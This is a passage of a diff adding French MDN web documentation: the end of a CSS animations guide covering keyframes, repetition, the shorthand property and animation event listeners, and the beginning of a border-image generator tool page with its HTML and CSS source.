Note : Pour observer l'animation, il peut être nécessaire de rafraîchir la page ou d'utiliser la vue CodePen/JSFiddle.

+
+ +

{{EmbedLiveSample("Définir_les_étapes_composant_une_animation_(@keyframes)","100%","250")}}

+ +

Ajouter une autre étape

+ +

Ajoutons une autre étape à partir de l'animation précédente. Ici, nous allons agrandir la taille de police utilisée lorsque l'élément arrive de la droite avant qu'elle ne réduise à nouveau pour revenir à la taille originale une fois arrivée la fin de l'animation. Pour cela, on ajoute une étape dans la règle @ @keyframes :

+ +
75% {
+  font-size: 300%;
+  margin-left: 25%;
+  width: 150%;
+}
+
+ + + + + +

Cette nouvelle étape indique au navigateur que, lorsqu'on atteint 75% d'avancement, il faut que la marge à gauche soit de 25% et que la largeur du paragraphe représente 150% de la largeur de l'élément englobant.

+ +
+

Note : Pour observer l'animation, il peut être nécessaire de rafraîchir la page ou d'utiliser la vue CodePen/JSFiddle.

+
+ +

{{EmbedLiveSample("Ajouter_une_autre_étape","100%","250")}}

+ +

Répéter une animation

+ +

Pour que l'animation se répète, il suffit d'utiliser la propriété {{cssxref("animation-iteration-count")}} et d'indiquer le nombre de répétitions souhaitées. Ici, on utilise la valeur infinite pour que l'animation se répète à l'infini :

+ +
p {
+  animation-duration: 3s;
+  animation-name: slidein;
+  animation-iteration-count: infinite;
+}
+
+ + + + + +

{{EmbedLiveSample("Répéter_une_animation","100%","250")}}

+ +

Obtenir un effet aller-retour

+ +

On a donc une animation qui se répète mais on obtient un résultat étrange, l'animation redémarre à chaque fois depuis l'état initial. Si on veut que le texte parcourt l'écran de droite à gauche puis de gauche à droite, on pourra utiliser la propriété {{cssxref("animation-direction")}} avec la valeur alternate :

+ +
p {
+  animation-duration: 3s;
+  animation-name: slidein;
+  animation-iteration-count: infinite;
+  animation-direction: alternate;
+}
+
+ + + + + +

{{EmbedLiveSample("Obtenir_un_effet_aller-retour","100%","250")}}

+ +

Utiliser la propriété raccourcie animation

+ +

La propriété raccourcie {{cssxref("animation")}} permet d'économiser de l'espace. Par exemple, si on prend cette règle :

+ +
p {
+  animation-duration: 3s;
+  animation-name: slidein;
+  animation-iteration-count: infinite;
+  animation-direction: alternate;
+}
+
+ +

On peut la réécrire de façon plus concise :

+ +
p {
+  animation: 3s infinite alternate slidein;
+}
+ +
+

Note : Pour plus de détails, vous pouvez consulter la page de référence sur la propriété {{cssxref("animation")}}.

+
+ +

Utiliser plusieurs valeurs pour différentes animations

+ +

Les propriétés CSS détaillées permettent d'utiliser plusieurs valeurs, séparées par des virgules. Cela permet de paramétrer plusieurs animations via une seule règle. Prenons quelques exemples.

+ +

Dans ce premier exemple, on a trois animations nommées différemment mais qui utilisent la même durée et le même nombre d'itération :

+ +
animation-name: fadeInOut, moveLeft300px, bounce;
+animation-duration: 3s;
+animation-iteration-count: 1;
+ +

Dans ce deuxième exemple, les trois propriétés ont cette fois des composantes distinctes, pour la durée et le nombre d'itération. Ici, par exemple fadeInOut a une durée de 2.5s et 2 itérations.

+ +
animation-name: fadeInOut, moveLeft300px, bounce;
+animation-duration: 2.5s, 5s, 1s;
+animation-iteration-count: 2, 1, 5;
+ +

Dans ce troisième cas, on a toujours trois animations mais uniquement deux durées et deux nombres d'itération. Lorsqu'il y a moins de valeurs que d'animations, on boucle sur les valeurs. Par exemple, avec le code qui suit, fadeInOut durera 2.5s, moveLeft300px durera 5s. On arrive à la fin de la liste des valeurs de durée et on reprend donc au début : bounce aura donc une durée de 2.5s. Le nombre d'itérations sera affecté de la même façon.

+ +
animation-name: fadeInOut, moveLeft300px, bounce;
+animation-duration: 2.5s, 5s;
+animation-iteration-count: 2, 1;
+ +

Utiliser les événements liés aux animations

+ +

Il est possible d'obtenir des informations et un certain contrôle sur les animations en utilisant l'objet {{domxref("AnimationEvent")}}. Celui-ci peut être utilisé pour détecter quand les animations commencent, finissent et il peut déclencher une nouvelle itération. Chaque événement inclue l'instant auquel il s'est produit et le nom de l'animation qui a déclenché l'événement.

+ +

Dans la suite de cet article, nous allons modifier l'exemple précédent pour obtenir des informations supplémentaires sur chaque événement d'animation lorsqu'il se produit afin de mieux voir comment cela fonctionne.

+ +

La feuille de style CSS

+ +

On commence par rédiger le CSS pour l'animation. Ici, l'animation durera 3 secondes, sera intitulée slidein, se répètera trois fois et changera de direction pour faire des allers-retours. Dans la règle @ {{cssxref("@keyframes")}}, on manipule la largeur et la marge à gauche de l'élément afin que ce dernier traverse l'écran.

+ +
.slidein {
+  animation-duration: 3s;
+  animation-name: slidein;
+  animation-iteration-count: 3;
+  animation-direction: alternate;
+}
+
+@keyframes slidein {
+  from {
+    margin-left:100%;
+    width:300%
+  }
+
+  to {
+    margin-left:0%;
+    width:100%;
+  }
+}
+ +

Les gestionnaires d'événements

+ +

On utilisera JavaScript pour « écouter » les trois événements possibles. Le code qui suit permet de définir les gestionnaires d'événement (à utiliser une fois que le document a été chargé).

+ +
var element = document.getElementById("watchme");
+element.addEventListener("animationstart", listener, false);
+element.addEventListener("animationend", listener, false);
+element.addEventListener("animationiteration", listener, false);
+
+element.className = "slidein";
+
+ +

Ce code est plutôt classique, n'hésitez pas à consulter la documentation de {{domxref("eventTarget.addEventListener()")}} si besoin. Pour finir, ce script attribut une classe sur slidein sur l'élément.

+ +

Quel est l'intérêt ? En fait, l'événement animationstart est déclenché dès que l'animation démarre et cela se produit alors avant l'exécution du script. Pour éviter cela, on démarre l'animation via le script en définissant la classe de l'élément à animer.

+ +

Écouter les événements

+ +

Les événements sont transmis à la fonction listener() décrite ici :

+ +
function listener(event) {
+  var l = document.createElement("li");
+  switch(event.type) {
+    case "animationstart":
+      l.innerHTML = "Début : durée écoulée : " + event.elapsedTime;
+      break;
+    case "animationend":
+      l.innerHTML = "Fin : durée écoulée : " + event.elapsedTime;
+      break;
+    case "animationiteration":
+      l.innerHTML = "Nouvelle boucle démarrée à : " + event.elapsedTime;
+      break;
+  }
+  document.getElementById("output").appendChild(l);
+}
+
+ +

Ce code consulte {{domxref("event.type")}} afin de déterminer l'événement qui s'est produit puis ajoute un élément {{HTMLElement("ul")}} au document pour alimenter un journal des événements.

+ +

Le résultat obtenu devrait ressembler à quelque chose comme :

+ +
    +
  • Début : durée écoulée : 0
    • +
  • Nouvelle boucle démarrée à : 3.01200008392334
    • +
  • Nouvelle boucle démarrée à : 6.00600004196167
    • +
  • Fin : durée écoulée : 9.234000205993652
    • +
+ +

On voit ici que les durées sont proches mais pas exactes. On voit également que, lors de la fin de l'animation, l'événement animationiteration n'est pas envoyé, seul animationend est déclenché.

+ +

Le document HTML

+ +

Afin d'être tout à fait complet, voici le code HTML qui peut être utilisé et qui contint la liste dans laquelle on enregistrera les événements reçus :

+ +
<h1 id="watchme">Regardez-moi bouger</h1>
+<p>
+  Un exemple d'animation CSS pour déplacer
+  un élément <code>H1</code> sur une page.
+</p>
+<p>
+  Voici les événements relatifs aux animations :
+</p>
+<ul id="output">
+</ul>
+</body>
+
+ +

{{EmbedLiveSample('Utiliser_les_événements_liés_aux_animations', '600', '300')}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/css/css_background_and_borders/border-image_generator/index.html b/files/fr/web/css/css_background_and_borders/border-image_generator/index.html new file mode 100644 index 0000000000..592f9f64fd --- /dev/null +++ b/files/fr/web/css/css_background_and_borders/border-image_generator/index.html @@ -0,0 +1,2626 @@ +--- +title: Générateur de border-image +slug: Web/CSS/Arrière-plans_et_bordures_CSS/Générateur_border-image +tags: + - CSS + - Outil +translation_of: Web/CSS/CSS_Background_and_Borders/Border-image_generator +--- +

Cet outil peut être utilisé afin de générer des valeurs pour la propriété {{cssxref("border-image")}}.

+ +
+

Générateur border-image

+ +

Contenu HTML

+ +
    <div id="container">
+
+        <div id="gallery">
+            <div id="image-gallery">
+                <img class="image" src="https://mdn.mozillademos.org/files/6007/border-image-1.png" data-stateID="border1"/>
+                <img class="image" src="https://mdn.mozillademos.org/files/6009/border-image-2.png" data-stateID="border2"/>
+                <img class="image" src="https://mdn.mozillademos.org/files/6011/border-image-3.png" data-stateID="border3"/>
+                <img class="image" src="https://mdn.mozillademos.org/files/6013/border-image-4.png" data-stateID="border4"/>
+                <img class="image" src="https://mdn.mozillademos.org/files/6015/border-image-5.png" data-stateID="border5"/>
+                <img class="image" src="https://mdn.mozillademos.org/files/6017/border-image-6.svg" data-stateID="border6"/>
+            </div>
+        </div>
+
+        <div id="load-actions" class="group section">
+            <div id="toggle-gallery" data-action="hide"> </div>
+            <div id="load-image" class="button"> Upload image </div>
+            <input id="remote-url" type="text" placeholder="Charger une image depuis une  URL"/>
+            <div id="load-remote" class="button"> </div>
+        </div>
+
+        <div id="general-controls" class="group section">
+            <div class="name"> Options </div>
+            <div class="separator"></div>
+            <div class="property">
+                <div class="name">Échelle</div>
+                <div class="ui-input-slider" data-topic="scale"
+                    data-unit="%" data-max="300" data-sensivity="10">
+                </div>
+            </div>
+            <div class="separator"></div>
+            <div class="property">
+                <div class="name">Déplaçable</div>
+                <div class="ui-checkbox" data-topic='drag-subject'></div>
+            </div>
+            <div class="property right">
+                <div class="name">Hauteur de la section</div>
+                <div class="ui-input-slider" data-topic="preview-area-height"
+                    data-min="400" data-max="1000">
+                </div>
+            </div>
+        </div>
+
+        <div id="preview_section" class="group section">
+            <div id="subject">
+                <div class="guideline" data-axis="Y" data-topic="slice-top"></div>
+                <div class="guideline" data-axis="X" data-topic="slice-right"></div>
+                <div class="guideline" data-axis="Y" data-topic="slice-bottom"></div>
+                <div class="guideline" data-axis="X" data-topic="slice-left"></div>
+            </div>
+            <div id="preview"> </div>
+        </div>
+
+        <!-- controls -->
+        <div id="controls" class="group section">
+
+            <!-- border-image-slice -->
+            <div id="border-slice-control" class="category">
+                <div class="title"> border-image-slice </div>
+                <div class="property">
+                    <div class="name">fill</div>
+                    <div class="ui-checkbox" data-topic='slice-fill'></div>
+                </div>
+            </div>
+
+            <!-- border-image-width -->
+            <div id="border-width-control" class="category">
+                <div class="title"> border-image-width </div>
+            </div>
+
+            <!-- border-image-outset -->
+            <div id="border-outset-control" class="category">
+                <div class="title"> border-image-outset </div>
+            </div>
+
+            <!-- other-settings -->
+            <div id="aditional-properties" class="category">
+                <div class="title"> Autres propriétés </div>
+                <div class="property">
+                    <div class="name"> repeat-x </div>
+                    <div class="ui-dropdown border-repeat" data-topic="image-repeat-X" data-selected="2">
+                        <div data-value="0">repeat</div>
+                        <div data-value="0">stretch</div>
+                        <div data-value="0">round</div>
+                    </div>
+                </div>
+                <div class="property">
+                    <div class="name"> repeat-y </div>
+                    <div class="ui-dropdown border-repeat" data-topic="image-repeat-Y" data-selected="2">
+                        <div data-value="1">repeat</div>
+                        <div data-value="1">stretch</div>
+                        <div data-value="1">round</div>
+                    </div>
+                </div>
+                <div class="property">
+                    <div class="ui-input-slider" data-topic="font-size" data-info="em size"
+                        data-unit="px" data-value="12" data-sensivity="3">
+                    </div>
+                </div>
+
+                <div class="property">
+                    <div class="ui-input-slider" data-topic="preview-width" data-info="width"
+                         data-unit=" px" data-min="10" data-max="10000" data-sensivity="3"></div>
+                </div>
+                <div class="property">
+                    <div class="ui-input-slider" data-topic="preview-height" data-info="height"
+                        data-unit=" px" data-min="10" data-max="10000" data-sensivity="3">
+                    </div>
+                </div>
+            </div>
+
+
+            <div id="output" class="category">
+                <div class="title"> Code CSS </div>
+                <div class="css-property">
+                    <span class="name"> border-image-slice: </span>
+                    <span id="out-border-slice" class="value"> </span>
+                </div>
+                <div class="css-property">
+                    <span class="name"> border-image-width: </span>
+                    <span id="out-border-width" class="value"> </span>
+                </div>
+                <div class="css-property">
+                    <span class="name"> border-image-outset: </span>
+                    <span id="out-border-outset" class="value"> </span>
+                </div>
+                <div class="css-property">
+                    <span class="name"> border-image-repeat: </span>
+                    <span id="out-border-repeat" class="value"> </span>
+                </div>
+                <div class="css-property">
+                    <span class="name"> border-image-source: </span>
+                    <span id="out-border-source" class="value">  </span>
+                </div>
+            </div>
+
+        </div>
+    </div>
+ +

CSS Content

+ +
/*  GRID OF TWELVE
+ * ========================================================================== */
+
+.span_12 {
+	width: 100%;
+}
+
+.span_11 {
+	width: 91.46%;
+}
+
+.span_10 {
+	width: 83%;
+}
+
+.span_9 {
+	width: 74.54%;
+}
+
+.span_8 {
+	width: 66.08%;
+}
+
+.span_7 {
+	width: 57.62%;
+}
+
+.span_6 {
+	width: 49.16%;
+}
+
+.span_5 {
+	width: 40.7%;
+}
+
+.span_4 {
+	width: 32.24%;
+}
+
+.span_3 {
+	width: 23.78%;
+}
+
+.span_2 {
+	width: 15.32%;
+}
+
+.span_1 {
+	width: 6.86%;
+}
+
+
+/*  SECTIONS
+ * ========================================================================== */
+
+.section {
+	clear: both;
+	padding: 0px;
+	margin: 0px;
+}
+
+/*  GROUPING
+ * ========================================================================== */
+
+
+.group:before, .group:after {
+    content: "";
+    display: table;
+}
+
+.group:after {
+    clear:both;
+}
+
+.group {
+    zoom: 1; /* For IE 6/7 (trigger hasLayout) */
+}
+
+/*  GRID COLUMN SETUP
+ * ========================================================================== */
+
+.col {
+	display: block;
+	float:left;
+	margin: 1% 0 1% 1.6%;
+}
+
+.col:first-child {
+	margin-left: 0;
+} /* all browsers except IE6 and lower */
+
+
+
+/*
+ * UI Component
+ */
+
+.ui-input-slider {
+	height: 20px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	-moz-user-select: none;
+	user-select: none;
+}
+
+.ui-input-slider * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Input Slider */
+
+.ui-input-slider > input {
+	margin: 0;
+	padding: 0;
+	width: 50px;
+	text-align: center;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-input-slider-info {
+	width: 90px;
+	padding: 0px 10px 0px 0px;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-left, .ui-input-slider-right {
+	width: 16px;
+	cursor: pointer;
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center left no-repeat;
+}
+
+.ui-input-slider-right {
+	background: url("https://mdn.mozillademos.org/files/5679/arrows.png") center right no-repeat;
+}
+
+.ui-input-slider-name {
+	width: 90px;
+	padding: 0 10px 0 0;
+	text-align: right;
+	text-transform: lowercase;
+}
+
+.ui-input-slider-btn-set {
+	width: 25px;
+	background-color: #2C9FC9;
+	border-radius: 5px;
+	color: #FFF;
+	font-weight: bold;
+	line-height: 14px;
+	text-align: center;
+}
+
+.ui-input-slider-btn-set:hover {
+	background-color: #379B4A;
+	cursor: pointer;
+}
+
+/*************************************************************************************/
+/*************************************************************************************/
+
+/*
+ * UI DropDown
+ */
+
+/* Dropdown */
+
+.ui-dropdown {
+	height: 2em;
+	width: 120px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	font-size: 12px;
+
+	background-image: url("https://mdn.mozillademos.org/files/6037/drop_arrow_icon.png");
+	background-position: right center;
+	background-repeat: no-repeat;
+	background-color: #359740;
+
+	position: relative;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-dropdown:hover {
+	cursor: pointer;
+	background-color: #208B20;
+}
+
+/* Dropdown Select Button */
+
+.ui-dropdown-select {
+	height: inherit;
+	padding: 0 0.75em;
+	color: #FFF;
+	line-height: 2em;
+}
+
+/* Dropdown List */
+
+.ui-dropdown-list {
+	width: 100%;
+	height: 150px;
+	max-height: 150px;
+	margin: 0;
+	padding: 0 0.3em;
+
+	border: 3px solid #3490D2;
+	border-color: #208B20;
+	background: #666;
+	background-color: #EEF1F5;
+	color: #000;
+
+	position: absolute;
+	top: 2em;
+	left: 0;
+	z-index: 100;
+
+	overflow: hidden;
+	transition: all 0.3s;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-dropdown-list:hover {
+	overflow: auto;
+}
+
+.ui-dropdown-list[data-hidden='true'] {
+	height: 0 !important;
+	opacity: 0;
+	visibility: hidden;
+}
+
+.ui-dropdown[data-position='left'] .ui-dropdown-list {
+	left: -100%;
+	top: 0;
+}
+
+.ui-dropdown[data-position='right'] .ui-dropdown-list {
+	left: 100%;
+	top: 0;
+}
+
+.ui-dropdown-list > div {
+	width: 100%;
+	height: 1.6em;
+	margin: 0.3em 0;
+	padding: 0.3em;
+	line-height: 1em;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.ui-dropdown-list > div:hover {
+	background: #3490D2;
+	color:#FFF;
+	border-radius: 2px;
+	cursor: pointer;
+}
+
+
+/*************************************************************************************/
+/*************************************************************************************/
+
+/*
+ * UI Button
+ */
+
+/* Checkbox */
+
+.ui-checkbox {
+	text-align: center;
+	font-size: 16px;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	line-height: 1.5em;
+	color: #FFF;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.ui-checkbox > input {
+ 	display: none;
+}
+
+.ui-checkbox > label {
+	font-size: 12px;
+	padding: 0.333em 1.666em 0.5em;
+	height: 1em;
+	line-height: 1em;
+
+	background-color: #888;
+	background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png");
+	background-position: center center;
+	background-repeat: no-repeat;
+
+	color: #FFF;
+	border-radius: 2px;
+	font-weight: bold;
+	float: left;
+}
+
+.ui-checkbox .text {
+	padding-left: 34px;
+	background-position: center left 10px;
+}
+
+.ui-checkbox .left {
+	padding-right: 34px;
+	padding-left: 1.666em;
+	background-position: center right 10px;
+}
+
+.ui-checkbox > label:hover {
+	cursor: pointer;
+}
+
+.ui-checkbox > input:checked + label {
+	background-image: url("https://mdn.mozillademos.org/files/5681/checked.png");
+	background-color: #379B4A;
+}
+
+/*************************************************************************************/
+/*************************************************************************************/
+
+/*
+ * BORDER IMAGE GENERATOR TOOL
+ */
+
+body {
+	width: 100%;
+	margin: 0 auto;
+	padding: 0 0 20px 0;
+
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+
+	/*background: url("https://mdn.mozillademos.org/files/6025/grain.png");*/
+	border: 1px solid #EEE;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+body[data-move='X'] {
+	cursor: w-resize !important;
+}
+
+body[data-move='Y'] {
+	cursor: s-resize !important;
+}
+
+#container {
+	width: 100%;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+[data-draggable='true']:hover {
+	cursor: move;
+}
+
+[data-draggable='true']:hover > * {
+	cursor: default;
+}
+
+
+
+/******************************************************************************/
+/******************************************************************************/
+
+/*
+ * Border Image Picker
+ */
+
+#gallery {
+	box-shadow: 0 0 3px 0 #BABABA;
+}
+
+#image-gallery {
+	width: 600px;
+	height: 100px;
+	margin: 0 auto;
+	transition: margin 0.4s;
+}
+
+#image-gallery .image {
+	height: 80px;
+	float: left;
+	margin: 10px;
+	opacity: 0.5;
+	background-color: #FFF;
+	box-shadow: 0px 0px 3px 1px #BABABA;
+}
+
+#image-gallery .image[selected="true"] {
+	box-shadow: 0px 0px 3px 1px #3BBA52;
+	opacity: 1;
+}
+
+#image-gallery .image:hover {
+	cursor: pointer;
+	box-shadow: 0px 0px 3px 1px #30ACE5;
+	opacity: 1;
+}
+
+#image-gallery[data-collapsed='true'] {
+	margin-top: -100px;
+}
+
+/* Load Menu */
+
+#load-actions {
+	margin: 10px 0;
+}
+
+#toggle-gallery {
+	width: 30px;
+	height: 25px;
+	margin: 10px;
+	color: #FFF;
+
+	background-image: url('https://mdn.mozillademos.org/files/6005/arrow-up-white.png');
+	background-repeat: no-repeat;
+	background-position: top 4px center;
+	background-color: #888888 !important;
+
+	border-radius: 2px;
+	float: left;
+}
+
+#toggle-gallery:hover {
+	cursor: pointer;
+}
+
+#toggle-gallery[data-action='show'] {
+	background-image: url('https://mdn.mozillademos.org/files/6001/arrow-down-white.png');
+	background-color: #888888 !important;
+}
+
+#toggle-gallery[data-action='hide'] {
+	background-image: url('https://mdn.mozillademos.org/files/6005/arrow-up-white.png');
+}
+
+.button {
+	width: 100px;
+	height: 25px;
+	margin: 10px;
+	color: #FFF;
+	text-align: center;
+	font-size: 12px;
+	line-height: 25px;
+	background-color: #379B4A;
+	border-radius: 2px;
+	float: left;
+}
+
+.button:hover {
+	cursor: pointer;
+	background-color: #3380C4;
+}
+
+#load-image {
+	float: left;
+}
+
+#load-remote {
+	width: 30px;
+	background-image: url('https://mdn.mozillademos.org/files/6003/arrow-right-white.png');
+	background-repeat: no-repeat;
+	background-position: center center;
+}
+
+#remote-url {
+	width: 200px;
+	height: 23px;
+	margin: 10px;
+	padding: 0 5px;
+	border: 1px solid #379B4A;
+	border-radius: 2px;
+	float: left;
+
+	transition: width 0.5s;
+}
+
+#remote-url:focus {
+	box-shadow: 0px 0px 3px -1px #379B4A; /*#68ACE8; */
+	border-color: rgba(55, 155, 74, 0.5);
+	width: 450px;
+}
+
+/*
+ * Visible Area
+ */
+
+#preview_section {
+	position: relative;
+	min-height: 400px;
+}
+
+/* Image Control */
+
+#subject {
+	width: 300px;
+	height: 300px;
+	background-repeat: no-repeat;
+	background-size: 100%;
+	background-color: #FFF;
+	border: 1px solid #CCC;
+
+	position: absolute;
+	z-index: 10;
+	top: 15%;
+	left: 10%;
+
+	box-shadow: 0 0 3px 0 #BABABA;
+	transition-property: width, height;
+	transition-duration: 0.1s;
+}
+
+#subject .guideline {
+	background-color: rgba(255, 255, 255, 0.7);
+	border: 1px solid rgba(0, 0, 0, 0.3);
+	position: absolute;
+}
+
+#subject .guideline:hover {
+	background-color: #F00;
+}
+
+#subject .guideline[data-active] {
+	background-color: #F00;
+	z-index: 10;
+}
+
+#subject .guideline[data-axis='X'] {
+	width: 1px;
+	height: 100%;
+	top: -1px;
+}
+
+#subject .guideline[data-axis='Y'] {
+	width: 100%;
+	height: 1px;
+	left: -1px;
+}
+
+#subject .guideline[data-axis='X']:hover {
+	cursor: w-resize;
+}
+
+#subject .guideline[data-axis='Y']:hover {
+	cursor: s-resize;
+}
+
+
+#subject .relative {
+	position: relative;
+	font-size: 12px;
+}
+
+#subject .tooltip, #subject .tooltip2 {
+	width: 40px;
+	height: 20px;
+	line-height: 20px;
+	font-size: 12px;
+	text-align: center;
+
+	position: absolute;
+	opacity: 0.5;
+	transition: opacity 0.25s;
+}
+
+#subject .tooltip {
+	background: #EEE;
+	border-radius: 2px;
+	border: 1px solid #CCC;
+}
+
+#subject .tooltip2{
+	color: #555;
+}
+
+#subject [data-active] > * {
+	opacity: 1;
+}
+
+#subject .tooltip[data-info='top'] {
+	top: -10px;
+	right: -50px;
+}
+
+#subject .tooltip[data-info='right'] {
+	bottom: -30px;
+	right: -20px;
+}
+
+#subject .tooltip[data-info='bottom'] {
+	top: -10px;
+	left: -50px;
+}
+
+#subject .tooltip[data-info='left'] {
+	top: -30px;
+	right: -20px;
+}
+
+#subject .tooltip2[data-info='top'] {
+	top: -10px;
+	left: -50px;
+}
+
+#subject .tooltip2[data-info='right'] {
+	top: -30px;
+	right: -20px;
+}
+
+#subject .tooltip2[data-info='bottom'] {
+	top: -10px;
+	right: -50px;
+}
+
+#subject .tooltip2[data-info='left'] {
+	bottom: -30px;
+	right: -20px;
+}
+
+/* Preview */
+
+#preview {
+	width: 30%;
+	height: 50%;
+	background-color: #FFF;
+	text-align: center;
+	overflow: hidden;
+	position: absolute;
+	z-index: 10;
+
+	left: 60%;
+	top: 15%;
+
+	border-radius: 2px;
+	border-image-width: 20px;
+	border-image-repeat: round;
+	box-shadow: 0 0 3px 0 #BABABA;
+}
+
+#preview .resize-handle {
+	width: 10px;
+	height: 10px;
+	background: url("https://mdn.mozillademos.org/files/6027/resize.png") center center no-repeat;
+	position: absolute;
+	bottom: 0;
+	right: 0;
+}
+
+#preview .resize-handle:hover {
+	cursor: nw-resize;
+}
+
+
+/*
+ * General controls MENU
+ */
+
+#general-controls {
+	padding: 10px 30px;
+	background-color: #FFF;
+	opacity: 0.95;
+	color: #888;
+	/*border-radius: 2px;*/
+	box-shadow: 0 0 3px 0 #BABABA;
+}
+
+#general-controls .property {
+	width: 130px;
+	float: left;
+}
+
+#general-controls .name {
+	height: 20px;
+	margin: 0 10px 0 0;
+	line-height: 100%;
+	text-align: right;
+	float: left;
+}
+
+#general-controls .right {
+	width: 200px;
+	float: right;
+}
+
+#general-controls .ui-checkbox label {
+	height: 10px;
+}
+
+#general-controls .separator {
+	height: 40px;
+	width: 1px;
+	margin: -10px 15px;
+	background-color: #EEE;
+	float: left;
+}
+
+/*
+ * Controls
+ */
+
+#controls {
+	color: #444;
+	margin: 10px 0 0 0;
+}
+
+#controls .category {
+	height: 190px;
+	min-width: 260px;
+	margin: 10px;
+	padding: 10px;
+	border: 1px solid #CCC;
+	border-radius: 3px;
+	float: left;
+
+	box-shadow: 0 0 3px 0 #BABABA;
+	transition: all 0.25s;
+
+	-moz-box-sizing: border-box;
+	-webkit-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+@media (min-width: 880px) {
+	#controls .category {
+		width: 30%;
+		margin-left: 1.66%;
+		margin-right: 1.66%;
+	}
+}
+
+@media (max-width: 879px) {
+	#controls .category {
+		width: 37%;
+		margin-left: 6.5%;
+		margin-right: 6.5%;
+	}
+}
+
+#controls .category .title {
+	width: 100%;
+	height: 30px;
+	margin: 0 0 10px 0;
+	line-height: 25px;
+
+	text-align: center;
+	color: #AAA;
+}
+
+#controls .category:hover .title {
+	color: #777;
+}
+
+#controls .category > .group {
+	border: 1px solid #CCC;
+	border-radius: 2px;
+}
+
+
+/* property */
+
+#controls .property {
+	width: 250px;
+	height: 20px;
+	margin: 5px auto;
+}
+
+#controls .property .ui-input-slider {
+	margin: 0;
+	float: left;
+}
+
+#controls .property .ui-input-slider-info {
+	width: 60px;
+}
+
+#controls .property .ui-input-slider-left {
+	transition: opacity 0.15s;
+    opacity: 0;
+}
+
+#controls .property .ui-input-slider-right {
+	transition: opacity 0.15s;
+    opacity: 0;
+}
+
+#controls .property .name {
+	width: 60px;
+	height: 20px;
+	padding: 0px 10px 0px 0px;
+	text-align: right;
+	line-height: 100%;
+	float: left;
+}
+
+#controls .property .config {
+	width: 20px;
+	height: 20px;
+	float: left;
+	background: url("https://mdn.mozillademos.org/files/6021/config.png") center center no-repeat;
+	opacity: 0.5;
+}
+
+#controls .property .config:hover {
+	cursor: pointer;
+	opacity: 1;
+}
+
+#controls .ui-input-slider:hover .ui-input-slider-right {
+    opacity: 1;
+}
+
+#controls .ui-input-slider:hover .ui-input-slider-left {
+    opacity: 1;
+}
+
+#controls .property .ui-dropdown {
+	margin: 0 10px;
+	float: left;
+}
+
+
+#controls .property .ui-checkbox {
+	margin: 0 0 0 16px;
+	float: left;
+}
+
+#controls .property .ui-checkbox label {
+	height: 0.85em;
+	width: 10px;
+}
+
+/* dropdowns */
+#controls .ui-dropdown {
+	width: 50px;
+	height: 1.7em;
+	border-radius: 2px;
+}
+
+#controls .ui-dropdown-select {
+	line-height: 1.6em;
+}
+
+#controls .ui-dropdown-list {
+	top: 20px;
+}
+
+#controls .ui-dropdown-list {
+	border-width: 1px;
+	text-align: center;
+}
+
+#controls .ui-dropdown-list:hover {
+	overflow: hidden;
+}
+
+#controls .border-repeat {
+	margin: 0 0 0 16px !important;
+	width: 80px;
+}
+
+#controls .border-repeat .ui-dropdown-list {
+	height: 6.2em;
+	border-width: 1px;
+	text-align: center;
+}
+
+/* border-image-slice */
+
+
+#border-slice-control .ui-dropdown-list {
+	height: 4.3em;
+}
+
+/* border-image-width */
+
+#border-width-control .ui-dropdown-list {
+	height: 6.2em;
+}
+
+/* border-image-outset */
+
+#border-outset-control .ui-dropdown-list {
+	height: 4.3em;
+}
+
+#aditional-properties .property {
+	width: 200px;
+}
+
+#aditional-properties .ui-input-slider > input {
+	width: 80px !important;
+}
+
+/* unit settings panel */
+
+#unit-settings {
+	padding: 10px;
+	position: absolute;
+
+	background: #FFF;
+
+	font-size: 12px;
+	border-radius: 3px;
+	border: 1px solid #CCC;
+	text-align: center;
+	color: #555;
+
+	position: absolute;
+	z-index: 1000;
+
+	box-shadow: 0 0 3px 0 #BABABA;
+	transition: all 0.25s;
+}
+
+#unit-settings .title {
+	width: 100%;
+	margin: -5px auto 0;
+
+	color: #666;
+	font-size: 14px;
+	font-weight: bold;
+	line-height: 25px;
+	border-bottom: 1px solid #E5E5E5;
+}
+
+#unit-settings .ui-input-slider {
+	margin: 10px 0 0 0;
+}
+
+#unit-settings .ui-input-slider-info {
+	width: 50px;
+	line-height: 1.5em;
+}
+
+#unit-settings input {
+	font-size: 12px;
+	width: 40px !important;
+}
+
+#unit-settings .close {
+	width: 16px;
+	height: 16px;
+	background: url('https://mdn.mozillademos.org/files/6019/close.png') no-repeat center center;
+	background-size: 75%;
+
+	position: absolute;
+	top: 4px;
+	right: 4px;
+	opacity: 0.5;
+}
+
+#unit-settings .close:hover {
+	cursor: pointer;
+	opacity: 1;
+}
+
+#unit-settings[data-active='true'] {
+	opacity: 1;
+}
+
+#unit-settings[data-active='false'] {
+	opacity: 0;
+	top: -100px !important;
+}
+
+/*
+ * CSS Output Code
+ */
+
+#output {
+	padding: 10px;
+	border: 2px dashed #888 !important;
+	box-shadow: none !important;
+	border-radius: 3px;
+	overflow: hidden;
+
+	-moz-user-select: text;
+	-webkit-user-select: text;
+	-ms-user-select: text;
+	user-select: text;
+}
